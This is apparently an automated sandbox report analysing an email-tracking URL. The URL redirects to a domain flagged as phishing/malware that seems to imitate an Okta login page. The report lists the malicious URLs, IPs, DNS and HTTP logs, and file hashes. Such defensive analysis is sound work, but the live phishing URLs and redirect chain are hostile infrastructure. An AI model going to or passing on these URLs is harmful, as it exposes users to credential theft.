https://zx.nhyyupvw.es/klHLUe0uNCmZ3iuCGFVX5eHyTols89Xa4wAuEJvwbmUFuenZcyz230	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/oppMeZe0xvbpg08Hkdpz3gUyV2x131F1yJ3tz12n4dDIs3UILrbR3Q2anToWOKLMkHGWseXyHHWQQcd231	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/kloXcVD2ghFxffj3wxjV8yzwfoHITvW15BXn78170	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/129GcDcdJBYNk8912	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/GDSherpa-vf.woff2	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/uvtgW0ZFM2nrSttk0VJtBHvlCjE67N9mBGr8ARYjXYb05zuuN6dL1VHDyJomPWZCm9gh260	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/GDSherpa-bold.woff	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/GDSherpa-regular.woff	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/uvrHkhbtqqgRHO76ophsOeJyI65mqHe12122	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/mnWgRjpYOJyJPaVixj6G8TZSpy1PP56btk9tvJb1TP2OyPI6KN5eX2RuzWuv220	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/wxj9FvgfYrm0DCkU7R3E0ZVRtwZjLNORj7eVrsYuG3bg6DT6IOZl4ab180	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/favicon.ico	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/ijYJTr8KLYS96poFBZtBndQAqklh4RLrK8fzeBXYQWWgR0SeNv12210	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/xyMnJfOyoOYokTNZFC32YwwqilhKk5QahjkelAKE6FLgy	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/oppIsj6CcZlBQupeRL6gh0ZlxRc7NGW5P5867139	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/abl4S9DqlRNd18pqJHQbcd30	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/56RUahGebwqKTECeqqijlaszPEuaj67109	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/rsWAxWeBNXIvEGMH6jGgTCNnXijD8Aym4Hc8ItMyGWAnmYYUNDLef197	100%	Avira URL Cloud	malware
https://zx.nhyyupvw.es/GDSherpa-bold.woff2	100%	Avira URL Cloud	malware
https://u5yz.nmpjkg.ru/ando$y42g72	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
zx.nhyyupvw.es	104.21.15.124	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.130.137	true	false	high
developers.cloudflare.com	104.16.5.189	true	false	high
u5yz.nmpjkg.ru	104.21.16.1	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
github.com	140.82.112.3	true	false	high
www.google.com	142.250.65.164	true	false	high
d19d360lklgih4.cloudfront.net	18.164.124.11	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
mailgun.org	34.110.180.34	true	false	high
email.double.serviceautopilot.com	unknown	unknown	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ	true		unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://zx.nhyyupvw.es/klHLUe0uNCmZ3iuCGFVX5eHyTols89Xa4wAuEJvwbmUFuenZcyz230	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/GDSherpa-regular.woff2	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/efhlPkmcsNf53p8AYXnleVbkhPZE3mijqeDQ4E5l6akrwoDtg78150	false	Avira URL Cloud: malware	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=Ir6tGH0nSp7Y7%2Bk6E%2F97FuGU91lIOXfWlp497AqKtLO7bGbzZiHdO5UnjYomQmaIXO1gquSHKshR2gqdB%2F6w%2Fa807Qf8C4Syl2x0m9pbiz8AUcg9bitqVU8hwyOWoiN1gQ%2Bj	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://zx.nhyyupvw.es/yowScpWV08VlrEXL91MJ1eFZTqguTPKWaxVnnr16zV5wa83MFiijl	false	Avira URL Cloud: malware	unknown
https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg	false		unknown
https://zx.nhyyupvw.es/oppMeZe0xvbpg08Hkdpz3gUyV2x131F1yJ3tz12n4dDIs3UILrbR3Q2anToWOKLMkHGWseXyHHWQQcd231	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://zx.nhyyupvw.es/GDSherpa-vf2.woff2	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/129GcDcdJBYNk8912	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/ve5HClA9r3rInXOW55CCxGwczDAZn6wPQThkYl183il	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/GDSherpa-vf.woff2	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/kloXcVD2ghFxffj3wxjV8yzwfoHITvW15BXn78170	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/wxj9FvgfYrm0DCkU7R3E0ZVRtwZjLNORj7eVrsYuG3bg6DT6IOZl4ab180	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/GDSherpa-regular.woff	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/uvrHkhbtqqgRHO76ophsOeJyI65mqHe12122	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/uvtgW0ZFM2nrSttk0VJtBHvlCjE67N9mBGr8ARYjXYb05zuuN6dL1VHDyJomPWZCm9gh260	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://zx.nhyyupvw.es/GDSherpa-bold.woff	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/mnWgRjpYOJyJPaVixj6G8TZSpy1PP56btk9tvJb1TP2OyPI6KN5eX2RuzWuv220	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/ijYJTr8KLYS96poFBZtBndQAqklh4RLrK8fzeBXYQWWgR0SeNv12210	false	Avira URL Cloud: malware	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://zx.nhyyupvw.es/favicon.ico	false	Avira URL Cloud: malware	unknown
https://a.nel.cloudflare.com/report/v4?s=qnOl8kJJfU%2BIHgXhD49LiRAq80hry3EYXx3xACE9dApfG5zwgfRZB%2BjXrFd%2FkkiyUEHq7eNiIqAbtkFxfXnDAJCK7A8h89rm5yxCiKscgffCArzOxjevHZfXBHtfKA5%2F3ibf	false		high
https://zx.nhyyupvw.es/oppIsj6CcZlBQupeRL6gh0ZlxRc7NGW5P5867139	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/xyMnJfOyoOYokTNZFC32YwwqilhKk5QahjkelAKE6FLgy	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/GDSherpa-bold.woff2	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/56RUahGebwqKTECeqqijlaszPEuaj67109	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/iSHROnSonGoT/	true		unknown
https://u5yz.nmpjkg.ru/ando$y42g72	false	Avira URL Cloud: safe	unknown
https://zx.nhyyupvw.es/rsWAxWeBNXIvEGMH6jGgTCNnXijD8Aym4Hc8ItMyGWAnmYYUNDLef197	false	Avira URL Cloud: malware	unknown
https://zx.nhyyupvw.es/abl4S9DqlRNd18pqJHQbcd30	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/fent)	chromecache_74.2.dr	false		high
https://www.rakuten.com	chromecache_91.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.110.180.34	mailgun.org	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.164.124.91	unknown	United States	3	MIT-GATEWAYSUS	false
104.21.15.124	zx.nhyyupvw.es	United States	13335	CLOUDFLARENETUS	true
104.21.16.1	u5yz.nmpjkg.ru	United States	13335	CLOUDFLARENETUS	false
140.82.112.3	github.com	United States	36459	GITHUBUS	false
104.16.5.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
104.21.96.1	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
18.164.124.11	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.65.164	www.google.com	United States	15169	GOOGLEUS	false
104.16.2.189	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.23

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1647084
Start date and time:	2025-03-24 14:11:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.evad.win@22/76@32/16

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.40.238, 142.250.65.163, 142.250.65.238, 172.253.122.84, 142.250.65.206, 142.250.80.78, 142.251.40.206, 23.203.176.221, 199.232.214.172, 142.251.32.110, 142.251.40.142, 142.250.64.106, 142.250.72.106, 142.250.65.170, 142.251.40.170, 142.250.80.42, 142.251.40.106, 142.251.40.234, 142.250.64.74, 142.251.40.138, 142.251.40.202, 142.250.176.202, 142.251.41.10, 142.250.65.202, 142.250.80.106, 142.250.80.74, 142.250.65.234, 142.250.65.174, 142.251.32.99, 142.251.41.14, 142.250.80.46, 142.250.176.195, 142.250.64.78, 184.31.69.3, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, ocsp.digicert.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (51734)
Category:	downloaded
Size (bytes):	222931
Entropy (8bit):	5.0213311632628725
Encrypted:	false
SSDEEP:	3072:Z4blthK0D4NIbkhhMW0AphsQyXV3oUHDDlxh/LoFdW:Z4vhK0D4NQlxh/LoFdW
MD5:	0329C939FCA7C78756B94FBCD95E322B
SHA1:	7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
SHA-256:	0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
SHA-512:	1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
Malicious:	false
Reputation:	low
URL:	https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
Preview:	@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 24, 2025 14:12:46.325704098 CET	53	49554	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:46.347196102 CET	53	53038	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:47.093997955 CET	53	64635	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:50.514224052 CET	56448	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:50.514379978 CET	56276	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:50.615514994 CET	53	56448	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:50.616777897 CET	53	56276	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:51.225678921 CET	61797	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:51.226042986 CET	62335	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:51.379385948 CET	53	61797	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:51.403580904 CET	53	62335	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:51.839461088 CET	52728	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:51.839742899 CET	63825	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:51.995816946 CET	53	52728	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:52.052220106 CET	53	63825	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:53.645906925 CET	51206	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:53.648924112 CET	55050	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:53.652101040 CET	56199	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:53.652301073 CET	64742	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:53.746517897 CET	53	51206	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:53.748238087 CET	53	55050	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:53.751590967 CET	53	64742	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:53.751869917 CET	53	56199	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:54.379633904 CET	56157	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:54.379911900 CET	53267	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:54.488802910 CET	53	56157	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:54.490492105 CET	53	53267	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:54.987648010 CET	49686	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:54.988105059 CET	56227	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:12:55.090547085 CET	53	49686	1.1.1.1	192.168.2.4
Mar 24, 2025 14:12:55.092361927 CET	53	56227	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:03.772121906 CET	55187	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:03.772296906 CET	50043	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:04.119488955 CET	53	54440	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:04.129549980 CET	53	55187	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:04.135087967 CET	53	50043	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:05.179244995 CET	62338	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:05.179538965 CET	61738	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:05.282573938 CET	53	61738	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:05.519181967 CET	53	62338	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:06.022739887 CET	50529	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:06.023061991 CET	62999	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:06.130958080 CET	53	62999	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:06.136488914 CET	53	50529	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:06.994509935 CET	63607	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:06.994637966 CET	53651	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:07.094681978 CET	53	53651	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:07.097028017 CET	53	63607	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:09.147108078 CET	56088	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:09.147352934 CET	50943	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:09.151782990 CET	64663	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:09.151782990 CET	60394	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:09.247006893 CET	53	50943	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:09.248085976 CET	53	56088	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:09.254344940 CET	53	60394	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:09.281584978 CET	53	64663	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:09.705944061 CET	50988	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:09.706099033 CET	57440	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:09.709134102 CET	54924	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:09.709284067 CET	55903	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:13:09.806452990 CET	53	50988	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:09.810204029 CET	53	54924	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:09.841042042 CET	53	57440	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:09.844758987 CET	53	55903	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:12.494201899 CET	53	62399	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:23.202034950 CET	53	49646	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:45.856940031 CET	53	51825	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:46.038480043 CET	53	50412	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:48.820698023 CET	53	57727	1.1.1.1	192.168.2.4
Mar 24, 2025 14:13:52.799304962 CET	138	138	192.168.2.4	192.168.2.255
Mar 24, 2025 14:14:07.000364065 CET	61612	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:14:07.000509024 CET	61240	53	192.168.2.4	1.1.1.1
Mar 24, 2025 14:14:07.101200104 CET	53	61612	1.1.1.1	192.168.2.4
Mar 24, 2025 14:14:07.101216078 CET	53	61240	1.1.1.1	192.168.2.4

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 24, 2025 14:12:52.056298018 CET	192.168.2.4	1.1.1.1	c278	(Port unreachable)	Destination Unreachable
Mar 24, 2025 14:13:09.841099024 CET	192.168.2.4	1.1.1.1	c245	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 24, 2025 14:12:58.015784025 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 24, 2025 14:12:58.107918978 CET	223	IN	HTTP/1.1 304 Not Modified Date: Mon, 24 Mar 2025 12:43:27 GMT Expires: Mon, 24 Mar 2025 13:33:27 GMT Age: 1771 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 24, 2025 14:12:58.113759995 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 24, 2025 14:12:58.208337069 CET	223	IN	HTTP/1.1 304 Not Modified Date: Mon, 24 Mar 2025 12:43:30 GMT Expires: Mon, 24 Mar 2025 13:33:30 GMT Age: 1768 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:12:51 UTC	1007	OUT	GET /c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg HTTP/1.1 Host: email.double.serviceautopilot.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:12:51 UTC	325	IN	HTTP/1.1 302 Found Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Cache-Control: no-store Content-Length: 422 Content-Type: text/html Date: Mon, 24 Mar 2025 13:12:51 GMT Location: https://ZX.nhyyupvw.es/iSHROnSonGoT/ X-Robots-Tag: noindex X-Xss-Protection: 1; mode=block Connection: close
2025-03-24 13:12:51 UTC	422	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta name="robots" content="noindex"><meta charset="utf-8"></head><body><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be re

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:12:52 UTC	677	OUT	GET /iSHROnSonGoT/ HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:12:53 UTC	1222	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:12:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W1uM9hP%2BmELDYCsM3vz60iJM6o4%2BpYrBfnPCJumIv%2FybovifELO7w%2B0R6lM9%2B%2BWeaDdbkuaS9ZAiz6IyUJ4aoPFhjhLSIBIW0QxcKG%2B0s3fnsQrDVT0GzGyhLbTjjVsRXpWR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10316&min_rtt=10190&rtt_var=3912&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1573&delivery_rate=279489&cwnd=207&unsent_bytes=0&cid=6cd355b5ecfdc38b&ts=265&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkZaWEhacVNJNVZvcjlIbklsMVVEUUE9PSIsInZhbHVlIjoiNm0zdlRpVGZMOXZVaVI0WXZyYTdlNjJpTisvSjR1QXZPZ1czL1oyTnZTdmVWTW5JUURCWDFPeTlLTkFOcHFSc253amVEWVB2SXZjaEgrbVdkeDJrWFdoT1YwQkROR21vMjFOeC9uNHFrZU9hSkEyRmRTVlphVk42TmI4VzRwUjUiLCJtYWMiOiJmYmE3NzJhOWJiYzUyMDgzMDJmZDU0YzVhYWE5YTA1ODRlODE3MzcwNmQ4ZjRmMjA2MjkzNmRmNTk1NDFjMzQ0IiwidGFnIjoiIn0%3D; expires=Mon, 24-Mar-2025 15:12:52 GMT; Max-Age=7200; path=/; secure; samesite=none
